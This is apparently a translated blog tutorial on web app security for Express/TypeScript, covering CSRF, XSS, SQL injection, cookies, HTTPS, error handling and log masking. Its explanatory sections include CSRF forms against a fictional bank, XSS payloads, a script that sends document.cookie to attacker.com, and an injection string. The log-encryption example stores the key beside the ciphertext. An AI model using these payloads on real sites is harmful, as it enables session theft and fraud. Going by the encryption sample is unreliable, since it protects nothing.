Web Application Security Hardening Guide: From CSRF, XSS, and SQL Injection Countermeasures to Log Management

  • sonarqube
    sonarqube
  • expressjs
    expressjs
  • typescript
    typescript
  • prisma
    prisma
  • typeorm
    typeorm
  • nginx
    nginx
Published on 2023/05/01

Introduction

When developing a web application, it is easy to focus on adding features and improving performance, but neglecting security measures will leave you with serious vulnerabilities. Improper security settings can lead to user data leaks and unauthorized access, which may damage user trust.

This article explains in concrete terms the security measures that should be adopted in real-world development environments. It covers practical methods to enhance the safety of web applications, including countermeasures against common attacks such as CSRF, XSS, and SQL Injection, cookie configuration, unifying communication over HTTPS, and proper management of error messages. By applying these measures, you can support the development of secure web applications.

Introducing CSRF Tokens (Proper SameSite Attribute Configuration)

What is CSRF (Cross-Site Request Forgery)?

CSRF (Cross-Site Request Forgery) is an attack in which an attacker exploits a victim’s authenticated session to send malicious requests to the server.

  • Forces the user to perform actions they did not intend
  • The attacker abuses the user’s authentication information (session)
  • Abuses cross-site requests to trigger malicious requests on another site

How CSRF Attacks Work (with a Concrete Example)

Scenario: CSRF Attack on an Online Banking Site

  1. Preconditions before the attack
    • The user is already logged in to online banking (https://bank.example.com).
    • After login, the server stores the session ID as a cookie (HttpOnly is not set).
    • The user’s account has a transfer function.
    • Transfers are processed via HTTP requests.

Transfer API (vulnerable to CSRF)

POST https://bank.example.com/transfer
Content-Type: application/x-www-form-urlencoded

amount=10000&to_account=123456

The server checks the session ID in the cookie and authenticates the request.

  1. Attacker’s preparation (3 patterns)

    • The attacker places a malicious HTML form on their own site (https://evil.example.com).
      <form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="999999">
        <input type="submit" value="Click Here!">
      </form>
      
      <script>
        document.getElementById('csrf-form').submit();
      </script>
      
    • Use an <img> tag to send a GET request
      <img src="https://bank.example.com/transfer?amount=10000&to_account=999999">
      
    • Use fetch() to send an asynchronous request
      <script>
        fetch("https://bank.example.com/transfer", {
          method: "POST",
          credentials: "include", // Automatically send cookies
          headers: {
            "Content-Type": "application/x-www-form-urlencoded",
          },
          body: "amount=10000&to_account=999999",
        });
      </script>
      
  2. Luring the user

    • While still logged in to the banking site, the user opens https://evil.example.com in another tab.
    • As soon as the evil.com page is opened, a malicious request is sent to the banking site via the <form> or <img>.
  3. Behavior of the banking server

    • Since the user is logged in, the server uses the session information contained in the cookie and mistakenly recognizes the request as coming from the legitimate user.
    • 10,000 yen is transferred to the attacker’s account (999999).

Why Does CSRF Succeed?

CSRF succeeds mainly because browsers automatically send cookies.

  1. The browser sends cookies even for requests from a different origin
    • For example, when sending a request from https://evil.example.com to https://bank.example.com, cookies are sent if the user is logged in.
    • This is particularly dangerous when the banking site’s cookies are configured with SameSite=None.
  2. The request does not require the user’s intent
    • Even if the user does not submit a form, requests can be sent using <img> or <script>, etc.
  3. The server does not verify whether the request’s origin is legitimate
    • The banking site does not check the request’s “origin” and authenticates only based on cookie information.

Impact of CSRF

CSRF attacks are particularly dangerous on the following types of sites. For example, in an admin panel, CSRF can cause an administrator to send malicious requests, leading to risks such as privilege changes or user deletion.

Type of site Impact of CSRF attack
Internet banking Unauthorized transfers from accounts
E-commerce sites User payment information is changed or purchases are made without consent
SNS / bulletin boards Posts or comments are made without the user’s consent
Corporate admin panels Employee accounts may be deleted or settings changed

CSRF Countermeasures

To prevent CSRF attacks, the following countermeasures must be implemented.

Countermeasure Description
CSRF token (recommended) Attach a random token when submitting a form and verify it on the server
SameSite cookie configuration Set SameSite=Lax or Strict to prevent cookies from being sent in cross-site contexts
Checking Referer / Origin headers Check the request’s origin (Referer or Origin) and reject requests from non-legitimate sites
Use only POST/PUT/DELETE for authenticated APIs Do not perform critical operations via GET requests
Strict CORS configuration Allow only trusted origins

Below are concrete implementation methods.

CSRF Tokens

A CSRF token is a random token generated and verified by the server when a form is submitted, used to confirm that the user’s request is legitimate.

How Tokens Work

  1. On the server side
    • The server generates a unique CSRF token for each user and embeds it in the page
    • The token is sent as a cookie or as a hidden HTML field
    • When the form is submitted, the server verifies that the token is included
  2. On the client side
    • The client includes the CSRF token in forms or AJAX requests
    • JavaScript can also add the CSRF token to HTTP request headers

Implementation Using Express + csurf

In an Express environment, you can introduce CSRF protection using the csurf middleware.

import express from 'express';
import csrf from 'csurf';
import cookieParser from 'cookie-parser';

const app = express();

// Middleware to use cookies
app.use(cookieParser());

// Apply CSRF middleware (store CSRF token in a cookie)
app.use(csrf({ cookie: true }));

// Endpoint to send CSRF token to the client
app.get('/csrf-token', (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// CSRF token verification when submitting a form
app.post('/submit', (req, res) => {
  res.send('Form submitted successfully');
});

app.listen(3000, () => console.log('Server running on http://localhost:3000'));

On the client side, add the obtained CSRF token to the request header when sending the request.

async function submitForm(data) {
  const csrfRes = await fetch('/csrf-token');
  const { csrfToken } = await csrfRes.json();

  await fetch('/submit', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken,
    },
    body: JSON.stringify(data),
  });
}

Configuring SameSite Cookies

Most CSRF attacks exploit requests from different origins (domains).
To prevent this, it is important to configure the SameSite attribute of cookies appropriately.

SameSite Attribute Options

  • SameSite=Strict
    • Completely rejects cross-site requests
    • Cookies are not sent for requests from other sites
    • Disadvantage: Inconvenient for cases where inter-site integration is needed (e.g., access from external links)
  • SameSite=Lax (recommended)
    • Allowed for basic navigation
    • Cookies are sent for cross-site GET requests
    • Cookies are not sent for POST and other requests, making it effective as a CSRF countermeasure
  • SameSite=None; Secure
    • Use when full cross-site support is required
    • Cookies are sent with all requests, but HTTPS is mandatory
    • Disadvantage: Harder to ensure safety and must be combined with proper CSRF countermeasures

Configuration in Express

To apply the SameSite attribute to cookies, configure it appropriately using cookie-session or cookie-parser.

import session from 'cookie-session';

app.use(
  session({
    name: 'session',
    keys: ['secret_key'],
    cookie: {
      secure: true, // HTTPS only
      httpOnly: true, // Not accessible from JavaScript
      sameSite: 'lax', // Appropriate as a CSRF countermeasure
    },
  })
);

Checking Referer / Origin Headers

app.use((req, res, next) => {
  const allowedOrigins = ['https://example.com'];
  const origin = req.get('Origin') || req.get('Referer');
  if (!origin || !allowedOrigins.includes(new URL(origin).origin)) {
    return res.status(403).send('Forbidden');
  }
  next();
});

Key points

  • Verify on the server side whether the request’s Origin or Referer is legitimate
  • Also effective against security risks other than CSRF

Strict CORS Configuration

import cors from 'cors';

app.use(
  cors({
    origin: 'https://example.com', // Allowed origin
    credentials: true, // Allow cookies to be sent
  })
);
  • Allow only trusted origins
  • When using cookies, set credentials: include on the client side

Introducing DOMPurify and helmet as XSS Countermeasures

What is XSS (Cross-Site Scripting)?

XSS (Cross-Site Scripting) is an attack method in which an attacker injects malicious scripts into an application and executes them in the user’s browser. There are mainly three types:

  • Reflected XSS
    The attacker embeds a malicious script in a specific URL, and when the user accesses that URL, the script is executed.
  • Stored XSS
    The malicious script is stored in a database, etc., and is delivered to multiple users through the application.

Concrete Example of Reflected XSS

Preconditions

A web app (a site without XSS countermeasures) has a “search function” that receives the search keyword via a URL parameter and displays it as-is.
However, because proper escaping is not performed, there is a vulnerability that allows scripts to be injected.

1. The attacker creates a malicious URL

The attacker creates a URL with an embedded script for the site that has a search function.

Normal search URL

https://example.com/search?q=car

URL crafted by the attacker

https://example.com/search?q=<script>alert('XSS attack succeeded!');</script>

2. The attacker sends the URL to the victim

The attacker tricks the victim into clicking the URL using methods such as:

  • Sending it via SNS or email disguised as “Here’s a great deal!”
  • Posting “Check out this site!” on a bulletin board or in a comment section
  • Hiding the URL using a URL shortener (such as bit.ly)

3. The victim opens the URL

When the victim is tricked into opening the URL, the web app embeds the request parameter directly into the HTML, causing the malicious script to execute.

const urlParams = new URLSearchParams(window.location.search);
const searchQuery = urlParams.get("q");

// Vulnerable here! The script is embedded into the HTML as-is!
document.write(`<h1>Search results: ${searchQuery}</h1>`);

Victim’s screen (actual HTML displayed)

<h1>Search results: <script>alert('XSS attack succeeded!');</script></h1>

If it only displays an alert, there is no concrete damage, but in reality, malicious scripts may be embedded that send cookies (session information) to the attacker’s server.

In that case, simply opening the URL will send the cookie to the attacker, who can then use that cookie to impersonate the victim and hijack their logged-in session.

Concrete Example of Stored XSS

Stored XSS is a method in which a malicious script is stored in a database and executed whenever other users access the page.
Once the attacker sets it up, the script is executed every time a victim views the page, making it more dangerous than reflected XSS.

Preconditions

There is a vulnerable bulletin board (comment section) that saves the posted content directly to the DB and displays it as-is when requested.

document.getElementById('comments').innerHTML = commentFromDB;

1. The attacker posts the following malicious script in the comment section

<script>fetch('https://attacker.com/steal-cookie', {method: 'POST', body: document.cookie});</script>

2. This script is stored in the database.

XSS Countermeasures

  1. Do not use innerHTML or document.write
    const safeQuery = document.createTextNode(searchQuery);
    document.getElementById("result").appendChild(safeQuery);
    
  2. Sanitize using DOMPurify
    import DOMPurify from 'dompurify';
    const safeHTML = DOMPurify.sanitize(searchQuery);
    document.getElementById("result").innerHTML = safeHTML;
    
  3. Configure Content Security Policy (CSP)
    When configuring with Express
    app.use(helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"]
      },
    }));
    

Detailed Explanation of CSP

helmet.contentSecurityPolicy() is helmet middleware used to configure the Content Security Policy (CSP) security header.
CSP is a mechanism to prevent XSS (Cross-Site Scripting) attacks by restricting script loading.

Basic Structure of helmet.contentSecurityPolicy()

helmet.contentSecurityPolicy() allows you to finely control which resources are allowed by specifying directives.

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"]
  }
}));

defaultSrc

    defaultSrc: ["'self'"],
  • This specifies the default policy applied to all resources (scripts, images, CSS, fonts, etc.).
  • "'self'" means only resources from the same origin (your own domain) are allowed.
<!-- ✅ Allowed (same origin) -->
<img src="/images/logo.png">
<script src="/js/app.js"></script>

<!-- ❌ Not allowed (external site) -->
<img src="https://cdn.example.com/logo.png">
<script src="https://malicious-site.com/hack.js"></script>

By configuring it this way, you can prevent requests from being sent to malicious sites.

scriptSrc

scriptSrc: ["'self'"]
  • This is the policy that restricts loading of JavaScript (<script> tags)
  • Specifying "'self'" allows only scripts within your own site (origin) to run.
  • External CDNs and inline scripts are disallowed by default!
<!-- ✅ Allowed (scripts from your own site) -->
<script src="/js/main.js"></script>

<!-- ❌ Not allowed (scripts from external sites) -->
<script src="https://cdn.example.com/framework.js"></script>

<!-- ❌ Not allowed (inline scripts) -->
<script>alert('XSS attack');</script>

As with defaultSrc above, configuring it this way prevents requests from being sent to malicious sites.

How to Allow External Resources

In real projects, you may use external resources such as Google Fonts or CDNs. In such cases, you can slightly relax CSP to allow specific external domains.

Example) Allowing Google Fonts

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"]
  }
}));

Resources allowed by this configuration

<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">

How to Collect CSP Reports

When scripts are blocked due to CSP, you can send that information to the server.

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    reportUri: "/csp-report"
  }
}));

By preparing a /csp-report endpoint on the server side and logging error information, you can identify which scripts were blocked.

Applying ORMs (Prisma, TypeORM) to Prevent SQL Injection

SQL Injection is an attack method that abuses SQL queries to manipulate the database illegally. Attackers can manipulate SQL queries to retrieve, tamper with, or delete unintended data.

Using an ORM (Object-Relational Mapping) can reduce the risk of SQL Injection. In particular, ORMs such as Prisma and TypeORM automatically apply safe queries using placeholders (bind parameters), making data operations more secure than writing raw SQL directly.

Example of a Dangerous SQL Query

When executing SQL queries directly, if an attacker inputs something like OR 1=1, the WHERE clause always becomes true, potentially returning all user information from the database.

const userInput = "' OR 1=1 --";
const query = `SELECT * FROM users WHERE email = '${userInput}'`;

SQL Injection Countermeasures Using ORMs

By using an ORM, you can avoid constructing raw SQL directly and instead use placeholders (bind parameters) to prevent SQL Injection.

With Prisma

const user = await prisma.user.findUnique({
  where: { email: inputEmail }
});

When this code is executed, Prisma sends a query to the database using placeholders.

Internally, it is converted into a bound query like the following:

SELECT * FROM users WHERE email = ?;

The ? part is bound with a safely escaped value of inputEmail.

In other words, even if inputEmail contains a malicious string such as "' OR 1=1 --", the database treats it as a plain string and does not interpret it as malicious SQL code.

With TypeORM

const user = await userRepository.findOne({ where: { email: inputEmail } });

TypeORM similarly generates safe SQL internally.

In practice, a placeholder query like the following is executed:

SELECT * FROM users WHERE email = ?;

Input Validation (Using Zod / Yup)

By implementing input validation properly, you can prevent invalid data from entering the system and maintain both security and data integrity.
Zod and Yup are widely used for validating form and API data on both the frontend and backend.

Validation Using Zod

Characteristics

  • Maximizes TypeScript’s type safety
  • Using the parse() method allows you to perform type inference and validation simultaneously
  • Using the safeParse() method lets you obtain results without throwing exceptions on error
  • Easy to combine and extend (simple to define custom validations)
import { z } from 'zod';

const userSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8),
});

// Validate input data
const userInput = { email: "test@example.com", password: "password123" };
userSchema.parse(userInput); // No error if validation succeeds

Validation Using Yup

Characteristics

  • Easier to integrate with React Hook Form than Zod
  • Can perform asynchronous validation using the .validate() method
  • Can add custom validation using the .test() method
  • Fields are not required unless .required() is explicitly specified (difference from Zod)
import * as yup from 'yup';

const schema = yup.object({
  email: yup.string().email().required(),
  password: yup.string().min(8).required(),
});

// Validate input data
const userInput = { email: "test@example.com", password: "password123" };

schema.validate(userInput)
  .then(() => console.log("Validation succeeded"))
  .catch(err => console.log(err.errors)); // On validation error

To strengthen the security of web applications, it is extremely important to configure the Secure and HttpOnly attributes of cookies appropriately. Properly configuring these attributes reduces the risk of cookie theft and misuse.

Secure Attribute

When the Secure attribute is set, cookies are sent only over HTTPS (encrypted communication).
Cookies are not sent over HTTP (unencrypted communication), which prevents cookie eavesdropping via man-in-the-middle (MITM) attacks.

Why It Is Necessary

  • Without HTTPS, there is a risk that cookie contents will be eavesdropped.
  • Reduces the risk of session hijacking.
  • Protects authentication information (such as session IDs) contained in cookies.

Example of Secure configuration in Express

res.cookie('session_id', 'your-session-value', {
  secure: true, // Sent only over HTTPS
  httpOnly: true, // Disallow access from JavaScript
  sameSite: 'Strict', // CSRF countermeasure
  path: '/',
});

HttpOnly Attribute

When the HttpOnly attribute is set, JavaScript (such as document.cookie) cannot be used to obtain the cookie’s value.

Why It Is Necessary

  • Prevents XSS (Cross-Site Scripting) attacks
    • In XSS attacks, malicious JavaScript can be executed to steal cookie information.
    • Setting HttpOnly prevents attackers from reading cookies using document.cookie.
  • Safely protects user session information
    • Prevents cookies containing authentication information (such as session IDs) from being stolen.

Unifying Communication Between Client and Server Over HTTPS

HTTP communication carries risks of eavesdropping, tampering, and impersonation, so it is standard practice for web applications to unify all communication over HTTPS.
This strengthens security and also contributes to improved SEO rankings.

Obtain an SSL/TLS Certificate

To enable HTTPS, you must first obtain an SSL/TLS certificate.
Certificates can be obtained in the following ways:

  • Free certificates
    • Let’s Encrypt (free, supports automatic renewal)
    • Cloudflare (HTTPS via CDN)
  • Paid certificates
    • AWS Certificate Manager (ACM) (used with AWS ELB, CloudFront)
    • Various paid SSL services (DigiCert, GlobalSign, etc.)

Let’s Encrypt certificates can be easily obtained using Certbot.
Running this command automatically updates the Nginx configuration and enables HTTPS.

sudo apt update && sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d example.com -d www.example.com

Enabling HTTPS on the Web Server (Nginx)

server {
    listen 443 ssl;
    server_name example.com www.example.com;

    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

Specify the certificates obtained from Let’s Encrypt in ssl_certificate and ssl_certificate_key.

Redirecting from HTTP to HTTPS

To unify everything under HTTPS, automatically redirect HTTP access to HTTPS.

server {
    listen 80;
    server_name example.com www.example.com;
    return 301 https://$host$request_uri;
}

With this configuration, accessing HTTP (http://example.com) will automatically redirect to HTTPS (https://example.com).

Proper Control of Error Messages (Do Not Disclose Detailed Information)

If error messages contain detailed internal system information (e.g., database error codes, stack traces, versions of libraries used), they may become useful information for attackers.
For example, if SQL errors are displayed as-is, attackers may infer the type of database and authentication method, which can become a foothold for unauthorized access.

Key points

  • For users: Display only information that allows users to respond appropriately (e.g., “Please check your input.”)
  • For internal use (logs): Record detailed information necessary for debugging only in server-side logs
  • Avoid security risks: Do not display SQL errors or stack traces directly

Example of an Inappropriate Error Message

SQLSTATE[28000]: Invalid authorization specification: 1045 Access denied for user 'admin'@'localhost'

Problems

  • Detailed authentication error is leaked
  • Username 'admin' becomes known
  • Database type (SQLSTATE) and error code are revealed to the attacker

Example of an Appropriate Error Message

Authentication failed. Please check your username or password.

Reasons

  • Conveys only information that is easy for the user to act on
  • No internal information is leaked
  • Does not provide useful information to attackers

Error Handling Implementation in Express.js

import { Request, Response, NextFunction } from 'express';

// Error handling middleware
const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack); // Record details in server-side logs

  res.status(500).json({
    message: 'An internal error has occurred.'
  });
};

export default errorHandler;

Register this errorHandler as middleware in app.ts or server.ts.

import express from 'express';
import errorHandler from './middlewares/errorHandler';

const app = express();

// Route definition (example)
app.get('/', (req, res) => {
  throw new Error('Test error'); // Force an error
});

// Register error handling middleware (must be last)
app.use(errorHandler);

const PORT = 3000;
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

Key points

  • Specify the Error type and ensure errors are handled in the error handler
  • Record internal logs with console.error(err.stack); (in production, you may use a logger)
  • Hide details from users with res.status(500).json({ message: 'An internal error has occurred.' });
  • Register app.use(errorHandler); as middleware after route definitions

Distinguishing Between User Errors (4xx) and Server Errors (5xx)

First, create an AppError class to manage error types (HTTP status codes).

utils/AppError.ts
class AppError extends Error {
  public statusCode: number;

  constructor(message: string, statusCode: number) {
    super(message);
    this.statusCode = statusCode;
    Object.setPrototypeOf(this, new.target.prototype); // Properly set the prototype chain
  }
}

export default AppError;

This AppError class is for custom error handling. It extends the standard Error class and adds an extra property (statusCode) to manage HTTP status codes.

Next, if the error is an instance of AppError, treat it as a user error (4xx); otherwise, treat it as a server error (5xx) and handle it appropriately.

middlewares/errorHandler.ts
import { Request, Response, NextFunction } from 'express';
import AppError from '../utils/AppError';

const errorHandler = (err: Error, req: Request, res: Response, next: NextFunction) => {
  console.error(err.stack); // Record the error in server-side logs

  // If the error is an instance of AppError, use its status code
  const statusCode = err instanceof AppError ? err.statusCode : 500;
  const message =
    statusCode >= 500 ? 'An internal error has occurred.' : err.message;

  res.status(statusCode).json({ message });
};

export default errorHandler;

Proper Log Management (Filtering Out Sensitive Information)

You must ensure that logs do not contain users’ personal information or authentication information. Proper log management reduces security risks and helps meet compliance requirements.

Basic Policy for Log Management

  • Information that should be recorded
    • System errors and exception information
      Example: API response errors, database connection errors, etc.
    • Overview of user actions (excluding sensitive information)
      Example: User viewed a specific page, changed settings, etc.
    • System status
      Example: Server startup/shutdown, status of specific jobs
  • Information that must not be recorded
    • Passwords and authentication information
    • Credit card information and personal information (name, email address, etc.)
    • OAuth tokens and session IDs
    • Confidential data (contents of confidential documents, personal financial information, etc.)

Using Winston (Node.js Logging Library)

To avoid including sensitive information in logs, introduce a custom format and mask data before outputting it to logs.

import winston from 'winston';

// Keys that may contain sensitive information
const sensitiveFields = ['password', 'creditCard', 'token'];

const maskSensitiveData = (info: Record<string, any>): Record<string, any> => {
  const maskedInfo = { ...info };
  for (const field of sensitiveFields) {
    if (maskedInfo[field]) {
      maskedInfo[field] = '***REDACTED***';
    }
  }
  return maskedInfo;
};

// Winston custom format
const filterSensitiveData = winston.format((info) => {
  return maskSensitiveData(info);
});

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    filterSensitiveData(),
    winston.format.timestamp(),
    winston.format.json()
  ),
  transports: [new winston.transports.Console()],
});

// Sample log
logger.info('User registration', { email: 'user@example.com', password: 'securepassword123' });

Example output

{
  "level": "info",
  "message": "User registration",
  "email": "user@example.com",
  "password": "***REDACTED***",
  "timestamp": "2025-03-12T12:00:00.000Z"
}

Proper Configuration of Log Levels

It is important to configure appropriate log levels for development and production environments so that detailed debug information does not leak in production.

const logger = winston.createLogger({
  level: process.env.NODE_ENV === 'production' ? 'warn' : 'debug',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'app.log', level: 'info' }),
    new winston.transports.Console(),
  ],
});

// Example log output
logger.debug('Debug info: value of variable x', { x: 42 });
logger.warn('Warning: API response is slow');
logger.error('Fatal error: Failed to connect to DB');

Key points

  • Development environment: Record detailed information at the debug level
  • Production environment: Record only warn and error to prevent log bloat

Encrypting Logs

You may also consider encrypting logs so that sensitive data remains safe even if logs are leaked externally.

import crypto from 'crypto';
import fs from 'fs';

const encryptLog = (logMessage: string): string => {
  const algorithm = 'aes-256-cbc';
  const key = crypto.randomBytes(32);
  const iv = crypto.randomBytes(16);

  const cipher = crypto.createCipheriv(algorithm, key, iv);
  let encrypted = cipher.update(logMessage, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  return JSON.stringify({ encrypted, key: key.toString('hex'), iv: iv.toString('hex') });
};

// Encrypt and save log
const logData = 'Log message containing sensitive information';
const encryptedLog = encryptLog(logData);
fs.writeFileSync('secure-log.json', encryptedLog);

Introducing Security Scanning Tools (OWASP ZAP, SonarQube)

To strengthen application security, it is effective to apply both static analysis (SAST) and dynamic analysis (DAST). This section explains in detail how to introduce, configure, and use OWASP ZAP (DAST) and SonarQube (SAST).

OWASP ZAP (Dynamic Security Testing)

OWASP ZAP (Zed Attack Proxy) is a dynamic analysis tool (DAST) that performs security scans on running web applications. It mainly provides the following features:

  • Automated scanning: Detects common vulnerabilities in applications without prior configuration
  • Manual testing: Allows developers and security engineers to manually test specific pages and input fields
  • Vulnerability detection:
    • SQL Injection
    • Cross-Site Scripting (XSS)
    • CSRF (Cross-Site Request Forgery)
    • Directory traversal
    • Missing security headers

https://www.zaproxy.org/

Running with Docker (GUI Version)

docker run -u zap -p 8080:8080 -i owasp/zap2docker-stable zap-webswing.sh

After running, access the following URL:

http://localhost:8080

SonarQube (Static Code Analysis)

SonarQube is a static analysis tool (SAST) that analyzes code quality and security, detecting issues such as:

  • Security risks
    • SQL Injection
    • Hard-coded credentials
    • OS command injection
    • Missing security-related headers
  • Code quality
    • Duplicate code
    • Overly complex functions
    • Unused variables
  • Lint errors
    • Supports languages such as TypeScript, JavaScript, Java, Python, etc.

https://www.sonarsource.com/jp/products/sonarqube/

Setting Up SonarQube (Using Docker)

docker run -d --name sonarqube -p 9000:9000 sonarqube

After running, access the following URL:

http://localhost:9000

Conclusion

Security measures for web applications are not something you can implement once and forget; they require continuous review and improvement. As new threats emerge every day, regular code reviews and security scans are essential to maintain appropriate security measures.

By adopting the countermeasures introduced in this article, you can prevent many common attacks, but security can never be “100% perfect.” Continuously keeping up with the latest information and raising security awareness across the entire development team are key to consistently providing secure web applications.

Let’s build secure applications while maintaining development speed and implementing appropriate security measures.

Xでシェア
Facebookでシェア
LinkedInでシェア

Questions about this article 📝

If you have any questions or feedback about the content, please feel free to contact us.
Go to inquiry form